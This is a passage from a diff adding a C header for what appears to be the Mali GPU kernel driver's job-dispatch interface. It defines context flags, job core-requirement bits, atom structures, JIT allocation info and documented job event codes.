((base_context_create_flags)0) + +/* Base context is embedded in a cctx object (flag used for CINSTR + * software counter macros) + */ +#define BASE_CONTEXT_CCTX_EMBEDDED ((base_context_create_flags)1 << 0) + +/* Base context is a 'System Monitor' context for Hardware counters. + * + * One important side effect of this is that job submission is disabled. + */ +#define BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED \ + ((base_context_create_flags)1 << 1) + +/* Bit-shift used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_SHIFT (3) + +/* Bitmask used to encode a memory group ID in base_context_create_flags + */ +#define BASEP_CONTEXT_MMU_GROUP_ID_MASK \ + ((base_context_create_flags)0xF << BASEP_CONTEXT_MMU_GROUP_ID_SHIFT) + +/* Bitpattern describing the base_context_create_flags that can be + * passed to the kernel + */ +#define BASEP_CONTEXT_CREATE_KERNEL_FLAGS \ + (BASE_CONTEXT_SYSTEM_MONITOR_SUBMIT_DISABLED | \ + BASEP_CONTEXT_MMU_GROUP_ID_MASK) + +/* Bitpattern describing the ::base_context_create_flags that can be + * passed to base_context_init() + */ +#define BASEP_CONTEXT_CREATE_ALLOWED_FLAGS \ + (BASE_CONTEXT_CCTX_EMBEDDED | BASEP_CONTEXT_CREATE_KERNEL_FLAGS) + +/* + * Private flags used on the base context + * + * These start at bit 31, and run down to zero. + * + * They share the same space as base_context_create_flags, and so must + * not collide with them. + */ + +/* Private flag tracking whether job descriptor dumping is disabled */ +#define BASEP_CONTEXT_FLAG_JOB_DUMP_DISABLED \ + ((base_context_create_flags)(1 << 31)) + +/* Enable additional tracepoints for latency measurements (TL_ATOM_READY, + * TL_ATOM_DONE, TL_ATOM_PRIO_CHANGE, TL_ATOM_EVENT_POST) + */ +#define BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS (1 << 0) + +/* Indicate that job dumping is enabled. This could affect certain timers + * to account for the performance impact. + */ +#define BASE_TLSTREAM_JOB_DUMPING_ENABLED (1 << 1) + +#define BASE_TLSTREAM_FLAGS_MASK (BASE_TLSTREAM_ENABLE_LATENCY_TRACEPOINTS | \ + BASE_TLSTREAM_JOB_DUMPING_ENABLED) +/* + * Dependency stuff, keep it private for now. May want to expose it if + * we decide to make the number of semaphores a configurable + * option. + */ +#define BASE_JD_ATOM_COUNT 256 + +/* Maximum number of concurrent render passes. + */ +#define BASE_JD_RP_COUNT (256) + +/* Set/reset values for a software event */ +#define BASE_JD_SOFT_EVENT_SET ((unsigned char)1) +#define BASE_JD_SOFT_EVENT_RESET ((unsigned char)0) + +/** + * struct base_jd_udata - Per-job data + * + * This structure is used to store per-job data, and is completely unused + * by the Base driver. It can be used to store things such as callback + * function pointer, data to handle job completion. It is guaranteed to be + * untouched by the Base driver. + * + * @blob: per-job data array + */ +struct base_jd_udata { + __u64 blob[2]; +}; + +/** + * typedef base_jd_dep_type - Job dependency type. + * + * A flags field will be inserted into the atom structure to specify whether a + * dependency is a data or ordering dependency (by putting it before/after + * 'core_req' in the structure it should be possible to add without changing + * the structure size). + * When the flag is set for a particular dependency to signal that it is an + * ordering only dependency then errors will not be propagated. + */ +typedef __u8 base_jd_dep_type; + +#define BASE_JD_DEP_TYPE_INVALID (0) /**< Invalid dependency */ +#define BASE_JD_DEP_TYPE_DATA (1U << 0) /**< Data dependency */ +#define BASE_JD_DEP_TYPE_ORDER (1U << 1) /**< Order dependency */ + +/** + * typedef base_jd_core_req - Job chain hardware requirements. + * + * A job chain must specify what GPU features it needs to allow the + * driver to schedule the job correctly. By not specifying the + * correct settings can/will cause an early job termination. Multiple + * values can be ORed together to specify multiple requirements. + * Special case is ::BASE_JD_REQ_DEP, which is used to express complex + * dependencies, and that doesn't execute anything on the hardware. + */ +typedef __u32 base_jd_core_req; + +/* Requirements that come from the HW */ + +/* No requirement, dependency only + */ +#define BASE_JD_REQ_DEP ((base_jd_core_req)0) + +/* Requires fragment shaders + */ +#define BASE_JD_REQ_FS ((base_jd_core_req)1 << 0) + +/* Requires compute shaders + * + * This covers any of the following GPU job types: + * - Vertex Shader Job + * - Geometry Shader Job + * - An actual Compute Shader Job + * + * Compare this with BASE_JD_REQ_ONLY_COMPUTE, which specifies that the + * job is specifically just the "Compute Shader" job type, and not the "Vertex + * Shader" nor the "Geometry Shader" job type. + */ +#define BASE_JD_REQ_CS ((base_jd_core_req)1 << 1) + +/* Requires tiling */ +#define BASE_JD_REQ_T ((base_jd_core_req)1 << 2) + +/* Requires cache flushes */ +#define BASE_JD_REQ_CF ((base_jd_core_req)1 << 3) + +/* Requires value writeback */ +#define BASE_JD_REQ_V ((base_jd_core_req)1 << 4) + +/* SW-only requirements - the HW does not expose these as part of the job slot + * capabilities + */ + +/* Requires fragment job with AFBC encoding */ +#define BASE_JD_REQ_FS_AFBC ((base_jd_core_req)1 << 13) + +/* SW-only requirement: coalesce completion events. + * If this bit is set then completion of this atom will not cause an event to + * be sent to userspace, whether successful or not; completion events will be + * deferred until an atom completes which does not have this bit set. + * + * This bit may not be used in combination with BASE_JD_REQ_EXTERNAL_RESOURCES. + */ +#define BASE_JD_REQ_EVENT_COALESCE ((base_jd_core_req)1 << 5) + +/* SW Only requirement: the job chain requires a coherent core group. We don't + * mind which coherent core group is used. + */ +#define BASE_JD_REQ_COHERENT_GROUP ((base_jd_core_req)1 << 6) + +/* SW Only requirement: The performance counters should be enabled only when + * they are needed, to reduce power consumption. + */ +#define BASE_JD_REQ_PERMON ((base_jd_core_req)1 << 7) + +/* SW Only requirement: External resources are referenced by this atom. + * + * This bit may not be used in combination with BASE_JD_REQ_EVENT_COALESCE and + * BASE_JD_REQ_SOFT_EVENT_WAIT. + */ +#define BASE_JD_REQ_EXTERNAL_RESOURCES ((base_jd_core_req)1 << 8) + +/* SW Only requirement: Software defined job. Jobs with this bit set will not be + * submitted to the hardware but will cause some action to happen within the + * driver + */ +#define BASE_JD_REQ_SOFT_JOB ((base_jd_core_req)1 << 9) + +#define BASE_JD_REQ_SOFT_DUMP_CPU_GPU_TIME (BASE_JD_REQ_SOFT_JOB | 0x1) +#define BASE_JD_REQ_SOFT_FENCE_TRIGGER (BASE_JD_REQ_SOFT_JOB | 0x2) +#define BASE_JD_REQ_SOFT_FENCE_WAIT (BASE_JD_REQ_SOFT_JOB | 0x3) + +/* 0x4 RESERVED for now */ + +/* SW only requirement: event wait/trigger job. + * + * - BASE_JD_REQ_SOFT_EVENT_WAIT: this job will block until the event is set. + * - BASE_JD_REQ_SOFT_EVENT_SET: this job sets the event, thus unblocks the + * other waiting jobs. It completes immediately. + * - BASE_JD_REQ_SOFT_EVENT_RESET: this job resets the event, making it + * possible for other jobs to wait upon. It completes immediately. + */ +#define BASE_JD_REQ_SOFT_EVENT_WAIT (BASE_JD_REQ_SOFT_JOB | 0x5) +#define BASE_JD_REQ_SOFT_EVENT_SET (BASE_JD_REQ_SOFT_JOB | 0x6) +#define BASE_JD_REQ_SOFT_EVENT_RESET (BASE_JD_REQ_SOFT_JOB | 0x7) + +#define BASE_JD_REQ_SOFT_DEBUG_COPY (BASE_JD_REQ_SOFT_JOB | 0x8) + +/* SW only requirement: Just In Time allocation + * + * This job requests a single or multiple just-in-time allocations through a + * list of base_jit_alloc_info structure which is passed via the jc element of + * the atom. The number of base_jit_alloc_info structures present in the + * list is passed via the nr_extres element of the atom + * + * It should be noted that the id entry in base_jit_alloc_info must not + * be reused until it has been released via BASE_JD_REQ_SOFT_JIT_FREE. + * + * Should this soft job fail it is expected that a BASE_JD_REQ_SOFT_JIT_FREE + * soft job to free the JIT allocation is still made. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_ALLOC (BASE_JD_REQ_SOFT_JOB | 0x9) + +/* SW only requirement: Just In Time free + * + * This job requests a single or multiple just-in-time allocations created by + * BASE_JD_REQ_SOFT_JIT_ALLOC to be freed. The ID list of the just-in-time + * allocations is passed via the jc element of the atom. + * + * The job will complete immediately. + */ +#define BASE_JD_REQ_SOFT_JIT_FREE (BASE_JD_REQ_SOFT_JOB | 0xa) + +/* SW only requirement: Map external resource + * + * This job requests external resource(s) are mapped once the dependencies + * of the job have been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_MAP (BASE_JD_REQ_SOFT_JOB | 0xb) + +/* SW only requirement: Unmap external resource + * + * This job requests external resource(s) are unmapped once the dependencies + * of the job has been satisfied. The list of external resources are + * passed via the jc element of the atom which is a pointer to a + * base_external_resource_list. + */ +#define BASE_JD_REQ_SOFT_EXT_RES_UNMAP (BASE_JD_REQ_SOFT_JOB | 0xc) + +/* HW Requirement: Requires Compute shaders (but not Vertex or Geometry Shaders) + * + * This indicates that the Job Chain contains GPU jobs of the 'Compute + * Shaders' type. + * + * In contrast to BASE_JD_REQ_CS, this does not indicate that the Job + * Chain contains 'Geometry Shader' or 'Vertex Shader' jobs. + */ +#define BASE_JD_REQ_ONLY_COMPUTE ((base_jd_core_req)1 << 10) + +/* HW Requirement: Use the base_jd_atom::device_nr field to specify a + * particular core group + * + * If both BASE_JD_REQ_COHERENT_GROUP and this flag are set, this flag + * takes priority + * + * This is only guaranteed to work for BASE_JD_REQ_ONLY_COMPUTE atoms. + * + * If the core availability policy is keeping the required core group turned + * off, then the job will fail with a BASE_JD_EVENT_PM_EVENT error code. + */ +#define BASE_JD_REQ_SPECIFIC_COHERENT_GROUP ((base_jd_core_req)1 << 11) + +/* SW Flag: If this bit is set then the successful completion of this atom + * will not cause an event to be sent to userspace + */ +#define BASE_JD_REQ_EVENT_ONLY_ON_FAILURE ((base_jd_core_req)1 << 12) + +/* SW Flag: If this bit is set then completion of this atom will not cause an + * event to be sent to userspace, whether successful or not. + */ +#define BASEP_JD_REQ_EVENT_NEVER ((base_jd_core_req)1 << 14) + +/* SW Flag: Skip GPU cache clean and invalidation before starting a GPU job. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job starts which does not have this bit set or a job completes + * which does not have the BASE_JD_REQ_SKIP_CACHE_END bit set. Do not use + * if the CPU may have written to memory addressed by the job since the last job + * without this bit set was submitted. + */ +#define BASE_JD_REQ_SKIP_CACHE_START ((base_jd_core_req)1 << 15) + +/* SW Flag: Skip GPU cache clean and invalidation after a GPU job completes. + * + * If this bit is set then the GPU's cache will not be cleaned and invalidated + * until a GPU job completes which does not have this bit set or a job starts + * which does not have the BASE_JD_REQ_SKIP_CACHE_START bit set. Do not use + * if the CPU may read from or partially overwrite memory addressed by the job + * before the next job without this bit set completes. + */ +#define BASE_JD_REQ_SKIP_CACHE_END ((base_jd_core_req)1 << 16) + +/* Request the atom be executed on a specific job slot. + * + * When this flag is specified, it takes precedence over any existing job slot + * selection logic. + */ +#define BASE_JD_REQ_JOB_SLOT ((base_jd_core_req)1 << 17) + +/* SW-only requirement: The atom is the start of a renderpass. + * + * If this bit is set then the job chain will be soft-stopped if it causes the + * GPU to write beyond the end of the physical pages backing the tiler heap, and + * committing more memory to the heap would exceed an internal threshold. It may + * be resumed after running one of the job chains attached to an atom with + * BASE_JD_REQ_END_RENDERPASS set and the same renderpass ID. It may be + * resumed multiple times until it completes without memory usage exceeding the + * threshold. + * + * Usually used with BASE_JD_REQ_T. + */ +#define BASE_JD_REQ_START_RENDERPASS ((base_jd_core_req)1 << 18) + +/* SW-only requirement: The atom is the end of a renderpass. + * + * If this bit is set then the atom incorporates the CPU address of a + * base_jd_fragment object instead of the GPU address of a job chain. + * + * Which job chain is run depends upon whether the atom with the same renderpass + * ID and the BASE_JD_REQ_START_RENDERPASS bit set completed normally or + * was soft-stopped when it exceeded an upper threshold for tiler heap memory + * usage. + * + * It also depends upon whether one of the job chains attached to the atom has + * already been run as part of the same renderpass (in which case it would have + * written unresolved multisampled and otherwise-discarded output to temporary + * buffers that need to be read back). The job chain for doing a forced read and + * forced write (from/to temporary buffers) is run as many times as necessary. + * + * Usually used with BASE_JD_REQ_FS. + */ +#define BASE_JD_REQ_END_RENDERPASS ((base_jd_core_req)1 << 19) + +/* SW-only requirement: The atom needs to run on a limited core mask affinity. + * + * If this bit is set then the kbase_context.limited_core_mask will be applied + * to the affinity. + */ +#define BASE_JD_REQ_LIMITED_CORE_MASK ((base_jd_core_req)1 << 20) + +/* These requirement bits are currently unused in base_jd_core_req + */ +#define BASEP_JD_REQ_RESERVED \ + (~(BASE_JD_REQ_ATOM_TYPE | BASE_JD_REQ_EXTERNAL_RESOURCES | \ + BASE_JD_REQ_EVENT_ONLY_ON_FAILURE | BASEP_JD_REQ_EVENT_NEVER | \ + BASE_JD_REQ_EVENT_COALESCE | \ + BASE_JD_REQ_COHERENT_GROUP | BASE_JD_REQ_SPECIFIC_COHERENT_GROUP | \ + BASE_JD_REQ_FS_AFBC | BASE_JD_REQ_PERMON | \ + BASE_JD_REQ_SKIP_CACHE_START | BASE_JD_REQ_SKIP_CACHE_END | \ + BASE_JD_REQ_JOB_SLOT | BASE_JD_REQ_START_RENDERPASS | \ + BASE_JD_REQ_END_RENDERPASS | BASE_JD_REQ_LIMITED_CORE_MASK)) + +/* Mask of all bits in base_jd_core_req that control the type of the atom. + * + * This allows dependency only atoms to have flags set + */ +#define BASE_JD_REQ_ATOM_TYPE \ + (BASE_JD_REQ_FS | BASE_JD_REQ_CS | BASE_JD_REQ_T | BASE_JD_REQ_CF | \ + BASE_JD_REQ_V | BASE_JD_REQ_SOFT_JOB | BASE_JD_REQ_ONLY_COMPUTE) + +/** + * Mask of all bits in base_jd_core_req that control the type of a soft job. + */ +#define BASE_JD_REQ_SOFT_JOB_TYPE (BASE_JD_REQ_SOFT_JOB | 0x1f) + +/* Returns non-zero value if core requirements passed define a soft job or + * a dependency only job. + */ +#define BASE_JD_REQ_SOFT_JOB_OR_DEP(core_req) \ + (((core_req) & BASE_JD_REQ_SOFT_JOB) || \ + ((core_req) & BASE_JD_REQ_ATOM_TYPE) == BASE_JD_REQ_DEP) + +/** + * enum kbase_jd_atom_state + * + * @KBASE_JD_ATOM_STATE_UNUSED: Atom is not used. + * @KBASE_JD_ATOM_STATE_QUEUED: Atom is queued in JD. + * @KBASE_JD_ATOM_STATE_IN_JS: Atom has been given to JS (is runnable/running). + * @KBASE_JD_ATOM_STATE_HW_COMPLETED: Atom has been completed, but not yet + * handed back to job dispatcher for + * dependency resolution. + * @KBASE_JD_ATOM_STATE_COMPLETED: Atom has been completed, but not yet handed + * back to userspace. + */ +enum kbase_jd_atom_state { + KBASE_JD_ATOM_STATE_UNUSED, + KBASE_JD_ATOM_STATE_QUEUED, + KBASE_JD_ATOM_STATE_IN_JS, + KBASE_JD_ATOM_STATE_HW_COMPLETED, + KBASE_JD_ATOM_STATE_COMPLETED +}; + +/** + * typedef base_atom_id - Type big enough to store an atom number in. + */ +typedef __u8 base_atom_id; + +/** + * struct base_dependency - + * + * @atom_id: An atom number + * @dependency_type: Dependency type + */ +struct base_dependency { + base_atom_id atom_id; + base_jd_dep_type dependency_type; +}; + +/** + * struct base_jd_fragment - Set of GPU fragment job chains used for rendering. + * + * @norm_read_norm_write: Job chain for full rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not exceed + * its memory usage threshold and no fragment job chain + * was previously run for the same renderpass. + * It is used no more than once per renderpass. + * @norm_read_forced_write: Job chain for starting incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain exceeded + * its memory usage threshold for the first time and + * no fragment job chain was previously run for the + * same renderpass. + * Writes unresolved multisampled and normally- + * discarded output to temporary buffers that must be + * read back by a subsequent forced_read job chain + * before the renderpass is complete. + * It is used no more than once per renderpass. + * @forced_read_forced_write: Job chain for continuing incremental + * rendering. + * GPU address of a fragment job chain to render in + * the circumstance where the tiler job chain + * exceeded its memory usage threshold again + * and a fragment job chain was previously run for + * the same renderpass. + * Reads unresolved multisampled and + * normally-discarded output from temporary buffers + * written by a previous forced_write job chain and + * writes the same to temporary buffers again. + * It is used as many times as required until + * rendering completes. + * @forced_read_norm_write: Job chain for ending incremental rendering. + * GPU address of a fragment job chain to render in the + * circumstance where the tiler job chain did not + * exceed its memory usage threshold this time and a + * fragment job chain was previously run for the same + * renderpass. + * Reads unresolved multisampled and normally-discarded + * output from temporary buffers written by a previous + * forced_write job chain in order to complete a + * renderpass. + * It is used no more than once per renderpass. + * + * This structure is referenced by the main atom structure if + * BASE_JD_REQ_END_RENDERPASS is set in the base_jd_core_req. + */ +struct base_jd_fragment { + __u64 norm_read_norm_write; + __u64 norm_read_forced_write; + __u64 forced_read_forced_write; + __u64 forced_read_norm_write; +}; + +/** + * typedef base_jd_prio - Base Atom priority. + * + * Only certain priority levels are actually implemented, as specified by the + * BASE_JD_PRIO_<...> definitions below. It is undefined to use a priority + * level that is not one of those defined below. + * + * Priority levels only affect scheduling after the atoms have had dependencies + * resolved. For example, a low priority atom that has had its dependencies + * resolved might run before a higher priority atom that has not had its + * dependencies resolved. + * + * In general, fragment atoms do not affect non-fragment atoms with + * lower priorities, and vice versa. One exception is that there is only one + * priority value for each context. So a high-priority (e.g.) fragment atom + * could increase its context priority, causing its non-fragment atoms to also + * be scheduled sooner. + * + * The atoms are scheduled as follows with respect to their priorities: + * * Let atoms 'X' and 'Y' be for the same job slot who have dependencies + * resolved, and atom 'X' has a higher priority than atom 'Y' + * * If atom 'Y' is currently running on the HW, then it is interrupted to + * allow atom 'X' to run soon after + * * If instead neither atom 'Y' nor atom 'X' are running, then when choosing + * the next atom to run, atom 'X' will always be chosen instead of atom 'Y' + * * Any two atoms that have the same priority could run in any order with + * respect to each other. That is, there is no ordering constraint between + * atoms of the same priority. + * + * The sysfs file 'js_ctx_scheduling_mode' is used to control how atoms are + * scheduled between contexts. The default value, 0, will cause higher-priority + * atoms to be scheduled first, regardless of their context. The value 1 will + * use a round-robin algorithm when deciding which context's atoms to schedule + * next, so higher-priority atoms can only preempt lower priority atoms within + * the same context. See KBASE_JS_SYSTEM_PRIORITY_MODE and + * KBASE_JS_PROCESS_LOCAL_PRIORITY_MODE for more details. + */ +typedef __u8 base_jd_prio; + +/* Medium atom priority. This is a priority higher than BASE_JD_PRIO_LOW */ +#define BASE_JD_PRIO_MEDIUM ((base_jd_prio)0) +/* High atom priority. This is a priority higher than BASE_JD_PRIO_MEDIUM and + * BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_HIGH ((base_jd_prio)1) +/* Low atom priority. */ +#define BASE_JD_PRIO_LOW ((base_jd_prio)2) +/* Real-Time atom priority. This is a priority higher than BASE_JD_PRIO_HIGH, + * BASE_JD_PRIO_MEDIUM, and BASE_JD_PRIO_LOW + */ +#define BASE_JD_PRIO_REALTIME ((base_jd_prio)3) + +/* Count of the number of priority levels. This itself is not a valid + * base_jd_prio setting + */ +#define BASE_JD_NR_PRIO_LEVELS 4 + +/** + * struct base_jd_atom_v2 - Node of a dependency graph used to submit a + * GPU job chain or soft-job to the kernel driver. + * + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + * + * This structure has changed since UK 10.2 for which base_jd_core_req was a + * __u16 value. + * + * In UK 10.3 a core_req field of a __u32 type was added to the end of the + * structure, and the place in the structure previously occupied by __u16 + * core_req was kept but renamed to compat_core_req. + * + * From UK 11.20 - compat_core_req is now occupied by __u8 jit_id[2]. + * Compatibility with UK 10.x from UK 11.y is not handled because + * the major version increase prevents this. + * + * For UK 11.20 jit_id[2] must be initialized to zero. + */ +struct base_jd_atom_v2 { + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +}; + +/** + * struct base_jd_atom - Same as base_jd_atom_v2, but has an extra seq_nr + * at the beginning. + * + * @seq_nr: Sequence number of logical grouping of atoms. + * @jc: GPU address of a job chain or (if BASE_JD_REQ_END_RENDERPASS + * is set in the base_jd_core_req) the CPU address of a + * base_jd_fragment object. + * @udata: User data. + * @extres_list: List of external resources. + * @nr_extres: Number of external resources or JIT allocations. + * @jit_id: Zero-terminated array of IDs of just-in-time memory + * allocations written to by the atom. When the atom + * completes, the value stored at the + * &struct_base_jit_alloc_info.heap_info_gpu_addr of + * each allocation is read in order to enforce an + * overall physical memory usage limit. + * @pre_dep: Pre-dependencies. One need to use SETTER function to assign + * this field; this is done in order to reduce possibility of + * improper assignment of a dependency field. + * @atom_number: Unique number to identify the atom. + * @prio: Atom priority. Refer to base_jd_prio for more details. + * @device_nr: Core group when BASE_JD_REQ_SPECIFIC_COHERENT_GROUP + * specified. + * @jobslot: Job slot to use when BASE_JD_REQ_JOB_SLOT is specified. + * @core_req: Core requirements. + * @renderpass_id: Renderpass identifier used to associate an atom that has + * BASE_JD_REQ_START_RENDERPASS set in its core requirements + * with an atom that has BASE_JD_REQ_END_RENDERPASS set. + * @padding: Unused. Must be zero. + */ +typedef struct base_jd_atom { + __u64 seq_nr; + __u64 jc; + struct base_jd_udata udata; + __u64 extres_list; + __u16 nr_extres; + __u8 jit_id[2]; + struct base_dependency pre_dep[2]; + base_atom_id atom_number; + base_jd_prio prio; + __u8 device_nr; + __u8 jobslot; + base_jd_core_req core_req; + __u8 renderpass_id; + __u8 padding[7]; +} base_jd_atom; + +struct base_jit_alloc_info { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; + __u64 heap_info_gpu_addr; +}; + +/* Job chain event code bits + * Defines the bits used to create ::base_jd_event_code + */ +enum { + BASE_JD_SW_EVENT_KERNEL = (1u << 15), /* Kernel side event */ + BASE_JD_SW_EVENT = (1u << 14), /* SW defined event */ + /* Event indicates success (SW events only) */ + BASE_JD_SW_EVENT_SUCCESS = (1u << 13), + BASE_JD_SW_EVENT_JOB = (0u << 11), /* Job related event */ + BASE_JD_SW_EVENT_BAG = (1u << 11), /* Bag related event */ + BASE_JD_SW_EVENT_INFO = (2u << 11), /* Misc/info event */ + BASE_JD_SW_EVENT_RESERVED = (3u << 11), /* Reserved event type */ + /* Mask to extract the type from an event code */ + BASE_JD_SW_EVENT_TYPE_MASK = (3u << 11) +}; + +/** + * enum base_jd_event_code - Job chain event codes + * + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_START: Start of hardware non-fault status + * codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, because the + * job was hard-stopped. + * @BASE_JD_EVENT_NOT_STARTED: Can't be seen by userspace, treated as + * 'previous job done'. + * @BASE_JD_EVENT_STOPPED: Can't be seen by userspace, becomes + * TERMINATED, DONE or JOB_CANCELLED. + * @BASE_JD_EVENT_TERMINATED: This is actually a fault status code - the job + * was hard stopped. + * @BASE_JD_EVENT_ACTIVE: Can't be seen by userspace, jobs only returned on + * complete/fail/cancel. + * @BASE_JD_EVENT_RANGE_HW_NONFAULT_END: End of hardware non-fault status codes. + * Obscurely, BASE_JD_EVENT_TERMINATED + * indicates a real fault, + * because the job was hard-stopped. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_START: Start of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_HW_FAULT_OR_SW_ERROR_END: End of hardware fault and + * software error status codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_START: Start of software success status + * codes. + * @BASE_JD_EVENT_RANGE_SW_SUCCESS_END: End of software success status codes. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_START: Start of kernel-only status codes. + * Such codes are never returned to + * user-space. + * @BASE_JD_EVENT_RANGE_KERNEL_ONLY_END: End of kernel-only status codes. + * @BASE_JD_EVENT_DONE: atom has completed successfull + * @BASE_JD_EVENT_JOB_CONFIG_FAULT: Atom dependencies configuration error which + * shall result in a failed atom + * @BASE_JD_EVENT_JOB_POWER_FAULT: The job could not be executed because the + * part of the memory system required to access + * job descriptors was not powered on + * @BASE_JD_EVENT_JOB_READ_FAULT: Reading a job descriptor into the Job + * manager failed + * @BASE_JD_EVENT_JOB_WRITE_FAULT: Writing a job descriptor from the Job + * manager failed + * @BASE_JD_EVENT_JOB_AFFINITY_FAULT: The job could not be executed because the + * specified affinity mask does not intersect + * any available cores + * @BASE_JD_EVENT_JOB_BUS_FAULT: A bus access failed while executing a job + * @BASE_JD_EVENT_INSTR_INVALID_PC: A shader instruction with an illegal program + * counter was executed. + * @BASE_JD_EVENT_INSTR_INVALID_ENC: A shader instruction with an illegal + * encoding was executed. + * @BASE_JD_EVENT_INSTR_TYPE_MISMATCH: A shader instruction was executed where + * the instruction encoding did not match the + * instruction type encoded in the program + * counter. + * @BASE_JD_EVENT_INSTR_OPERAND_FAULT: A shader instruction was executed that + * contained invalid combinations of operands. + * @BASE_JD_EVENT_INSTR_TLS_FAULT: A shader instruction was executed that tried + * to access the thread local storage section + * of another thread. + * @BASE_JD_EVENT_INSTR_ALIGN_FAULT: A shader instruction was executed that + * tried to do an unsupported unaligned memory + * access. + * @BASE_JD_EVENT_INSTR_BARRIER_FAULT: A shader instruction was executed that + * failed to complete an instruction barrier. + * @BASE_JD_EVENT_DATA_INVALID_FAULT: Any data structure read as part of the job + * contains invalid combinations of data. + * @BASE_JD_EVENT_TILE_RANGE_FAULT: Tile or fragment shading was asked to + * process a tile that is entirely outside the + * bounding box of the frame. + * @BASE_JD_EVENT_STATE_FAULT: Matches ADDR_RANGE_FAULT. A virtual address + * has been found that exceeds the virtual + * address range. + * @BASE_JD_EVENT_OUT_OF_MEMORY: The tiler ran out of memory when executing a job. + * @BASE_JD_EVENT_UNKNOWN: If multiple jobs in a job chain fail, only + * the first one the reports an error will set + * and return full error information. + * Subsequent failing jobs will not update the + * error status registers, and may write an + * error status of UNKNOWN. + * @BASE_JD_EVENT_DELAYED_BUS_FAULT: The GPU received a bus fault for access to + * physical memory where the original virtual + * address is no longer available. + * @BASE_JD_EVENT_SHAREABILITY_FAULT: Matches GPU_SHAREABILITY_FAULT. A cache + * has detected that the same line has been + * accessed as both shareable and non-shareable + * memory from inside the GPU. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL1: A memory access hit an invalid table + * entry at level 1 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL2: A memory access hit an invalid table + * entry at level 2 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL3: A memory access hit an invalid table + * entry at level 3 of the translation table. + * @BASE_JD_EVENT_TRANSLATION_FAULT_LEVEL4: A memory access hit an invalid table + * entry at level 4 of the translation table. + * @BASE_JD_EVENT_PERMISSION_FAULT: A memory access could not be allowed due to + * the permission flags set in translation + * table + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL1: A bus fault occurred while reading + * level 0 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL2: A bus fault occurred while reading + * level 1 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL3: A bus fault occurred while reading + * level 2 of the translation tables. + * @BASE_JD_EVENT_TRANSTAB_BUS_FAULT_LEVEL4: A bus fault occurred while reading + * level 3 of the translation tables. + * @BASE_JD_EVENT_ACCESS_FLAG: Matches ACCESS_FLAG_0. A memory access hit a + * translation table entry with the ACCESS_FLAG + * bit set to zero in level 0 of the + * page table, and the DISABLE_AF_FAULT flag + * was not set. + * @BASE_JD_EVENT_MEM_GROWTH_FAILED: raised for JIT_ALLOC atoms that failed to + * grow memory on demand + * @BASE_JD_EVENT_JOB_CANCELLED: raised when this atom was hard-stopped or its + * dependencies failed + * @BASE_JD_EVENT_JOB_INVALID: raised for many reasons, including invalid data + * in the atom which overlaps with + * BASE_JD_EVENT_JOB_CONFIG_FAULT, or if the + * platform doesn't support the feature specified in + * the atom. + * @BASE_JD_EVENT_PM_EVENT: TODO: remove as it's not used + * @BASE_JD_EVENT_TIMED_OUT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_INVALID: TODO: remove as it's not used + * @BASE_JD_EVENT_PROGRESS_REPORT: TODO: remove as it's not used + * @BASE_JD_EVENT_BAG_DONE: TODO: remove as it's not used + * @BASE_JD_EVENT_DRV_TERMINATED: this is a special event generated to indicate + * to userspace that the KBase context has been + * destroyed and Base should stop listening for + * further events + * @BASE_JD_EVENT_REMOVED_FROM_NEXT: raised when an atom that was configured in + * the GPU has to be retried (but it has not + * started) due to e.g., GPU reset + * @BASE_JD_EVENT_END_RP_DONE: this is used for incremental rendering to signal + * the completion of a renderpass. This value + * shouldn't be returned to userspace but I haven't + * seen where it is reset back to JD_EVENT_DONE. + * + * HW and low-level SW events are represented by 